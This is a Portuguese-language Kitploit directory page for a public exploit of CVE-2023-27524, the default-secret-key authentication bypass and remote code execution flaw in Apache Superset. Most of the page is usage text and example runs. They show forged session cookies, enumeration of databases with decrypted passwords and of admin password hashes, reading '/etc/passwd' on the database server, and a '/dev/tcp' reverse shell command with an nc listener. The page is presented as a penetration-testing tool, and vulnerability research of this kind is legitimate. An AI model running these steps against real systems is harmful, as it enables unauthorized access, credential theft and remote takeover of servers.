Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2023-27524-Apache-Superset-Auth-Bypass-and-RCE — Exploit para CVE-2023-27524 visando bypass de autenticação e RCE no Apache Superset. Forja cookies de sessão, enumera bancos de dados/usuários, executa comandos do sistema operacional e abre shells reversos em instâncias vulneráveis. | Kitploit
Ferramentas/GitHubGitHub/jakabakos/cve-2023-27524-apache-superset-auth-bypass-and-rce
Autenticação e AutorizaçãoAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoComando e ControleFerramenta de Acesso RemotoSegurança de Banco de Dados

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
GitHubjakabakos/cve-2023-27524-apache-superset-auth-bypass-and-rce

CVE-2023-27524-Apache-Superset-Auth-Bypass-and-RCE

Exploit para CVE-2023-27524 visando bypass de autenticação e RCE no Apache Superset. Forja cookies de sessão, enumera bancos de dados/usuários, executa comandos do sistema operacional e abre shells reversos em instâncias vulneráveis.

Ver Repositório
28856há 3 anosRevisado pelo Kitploit
Compartilhar

CVE-2023-27524: Apache Superset - Bypass de Autenticação e RCE

Apache Superset, uma ferramenta de código aberto amplamente utilizada para visualização e exploração de dados, foi identificada como tendo potenciais fragilidades de segurança que podem levar a bypass de autenticação e execução remota de código (RCE). Essas vulnerabilidades podem capacitar agentes maliciosos a obter privilégios administrativos nos servidores alvo, permitindo-lhes coletar credenciais de usuários e potencialmente comprometer dados.

A questão de segurança específica em questão é uma vulnerabilidade de configuração padrão insegura referida como CVE-2023-27524.

A causa raiz está na chave secreta previsível do Flask definida durante a instalação, afetando um número substancial de instâncias expostas do Apache Superset. Embora alguns esforços de mitigação tenham sido feitos, essa vulnerabilidade continua sendo uma preocupação crítica para aqueles que não atualizaram suas configurações.

O problema pode ser escalado para RCE. Este exploit adiciona essa funcionalidade ao original.

Oficial descrição da vulnerabilidade:

Ataques de validação de sessão no Apache Superset versões até e incluindo 2.0.1. Instalações que não alteraram o SECRET_KEY padrão configurado de acordo com as instruções de instalação permitem que um invasor autentique e acesse recursos não autorizados. Isso não afeta administradores do Superset que alteraram o valor padrão para a configuração SECRET_KEY.

Post do Blog

Este script de exploit foi escrito para uma análise de CVE no vsociety.

Uso

Instale os pacotes PIP:

pip3 install -r requirements.txt                                                                

Uso:

usage: exploit.py [-h] --url URL [--id ID] [--wordlist WORDLIST] [--validate] [--enum-dbs] [--enum-users] [--cmd CMD]
                  [--revshell REVSHELL] [--db-host]

options:
  -h, --help            show this help message and exit
  --url URL, -u URL     Host URL
  --id ID               User ID to forge session cookie for. Default=1
  --wordlist WORDLIST, -w WORDLIST
                        Specify a wordlist file (default is 10.txt)
  --validate, -v        Validate the presence of vulnerability by login attempt
  --enum-dbs, -dbs      Enumerate databases
  --enum-users, -eu     Enumerate databases
  --cmd CMD, -c CMD     Run custom OS command on the database's server.
  --revshell REVSHELL   Specify IP:Port for reverse shell
  --db-host             Run commands or open reverse shell on the database server

Exemplos

Validar vulnerabilidade e tentar quebrar o segredo do aplicativo com uma wordlist personalizada

# python3 exploit.py --url http://localhost:8088 -v -w 10k_most_common_passwords.txt 
[+] Session cookie found.
[+] Decoded session cookie: <REDACTED>
[+] Using '10k_most_common_passwords.txt' as a wordlist.
[+] Superset instance is VULNERABLE to CVE-2023-27524.
[+] Using default SECRET_KEY: b'CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET'
[+] Forged session cookie for user 1: <REDACTED>
[+] Superset Version: 2.0.1
[+] Login successful. Vulnerability is validated.

Enumerar bancos de dados

# python3 exploit.py -u http://localhost:8088 --enum-dbs      
[+] Session cookie found.
[+] Decoded session cookie:
    {'csrf_token': '5d4c9ad6caf94bc1c652b0fc8e8739d19c45c05a', 'locale': 'en'}
[+] Using default secret keys.
[+] Superset instance is VULNERABLE to CVE-2023-27524.
[+] Secret key found: "b'CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET'"
[+] Forged session cookie for user 1:
    eyJfdXNlcl9pZCI6MSwidXNlcl9pZCI6MX0.ZPsQ6Q.nKTBZiUq-Cu0iWSLQIUtB2W9HnM
[+] Version 2.0.1 seems vulnerable.
[+] Enumerating databases via API...
[+] Found database: "examples" with password "superset".
[+] Found database: "SQLite".
[+] Enumerating database connection data and cracking password if possible...
+-----------------+---------------------------------------------------+--------------------------+----------------------+
| database_name   | sqlalchemy_uri                                    | password                 | decrypted_password   |
|-----------------+---------------------------------------------------+--------------------------+----------------------|
| examples        | postgresql://superset:XXXXXXXXXX@db:5432/superset | MAqp6AIikZpDM5bMH4MMgA== | superset********     |
| SQLite          | sqlite+pysqlite:////app/superset_home/superset.db |                          |                      |
+-----------------+---------------------------------------------------+--------------------------+----------------------+
[+] Process of enumerating databases finished.

Enumerar usuários do Superset

# python3 exploit.py -u http://localhost:8088 --enum-users              
[+] Session cookie found.
[+] Decoded session cookie:
    {'csrf_token': '2a3adb09bac36c330a77c74da1cca27c431779e8', 'locale': 'en'}
[+] Using default secret keys.
[+] Superset instance is VULNERABLE to CVE-2023-27524.
[+] Secret key found: "b'CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET'"
[+] Forged session cookie for user 1:
    eyJfdXNlcl9pZCI6MSwidXNlcl9pZCI6MX0.ZPsRCQ.qeci7JgO5Lb4AwexB0Qojp5RDbs
[+] Version 2.0.1 seems vulnerable.
[+] Checking existing metadata database connection...
[+] Settings of database with id 1 were successfully modified.
[+] Settings of database with id 2 were successfully modified.
[+] Superset metadata connection is already added with id 2.
[+] Trying to enumerate Superset users...
[+] RESULT:
+------------+--------------------------------------------------------------------------------------------------------+
| username   | password                                                                                               |
|------------+--------------------------------------------------------------------------------------------------------|
| admin      | pbkdf2:sha256:260000$z5y5YnluWzyx4kd2$33c40dfefdea9aedef6ed171a941492516ba49c1ed8ed740d7e05446ce639c0e |
+------------+--------------------------------------------------------------------------------------------------------+

Executar comando personalizado do SO

No servidor Superset:

# python3 exploit.py --url http://localhost:8088 --cmd 'bash -i >& /dev/tcp/<IP>/4242 0>&1'

Observe que neste caso a saída ainda não pode ser visualizada.

No servidor de banco de dados:

# python3 exploit.py -u http://localhost:8088 --cmd 'cat /etc/passwd' --db-host

[+] Session cookie found.
[+] Decoded session cookie:
    {'csrf_token': 'c2154d7077f507bd69c791f9d6de49115ba290a3', 'locale': 'en'}
[+] Using default secret keys.
[+] Superset instance is VULNERABLE to CVE-2023-27524.
[+] Secret key found: "b'CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET'"
[+] Forged session cookie for user 1:
    eyJfdXNlcl9pZCI6MSwidXNlcl9pZCI6MX0.ZPsRMw.haTjE2XBuVjamMvsdg7SemBr3Ig
[+] Version 2.0.1 seems vulnerable.
[+] Trying to run command on the database server...
[+] Settings of database with id 1 were successfully modified.
[+] $ cat /etc/passwd
+-----------------------------------------------------------------------------------+
| cmd_output                                                                        |
|-----------------------------------------------------------------------------------|
| root:x:0:0:root:/root:/bin/bash                                                   |
| daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin                                   |
| <REDACTED>                                                                        |
| postgres:x:999:999::/var/lib/postgresql:/bin/bash                                 |
+-----------------------------------------------------------------------------------+

Abrir um reverse shell

No servidor Superset:

# Terminal 1
nc -lvnp [PORT]
Baixar ferramenta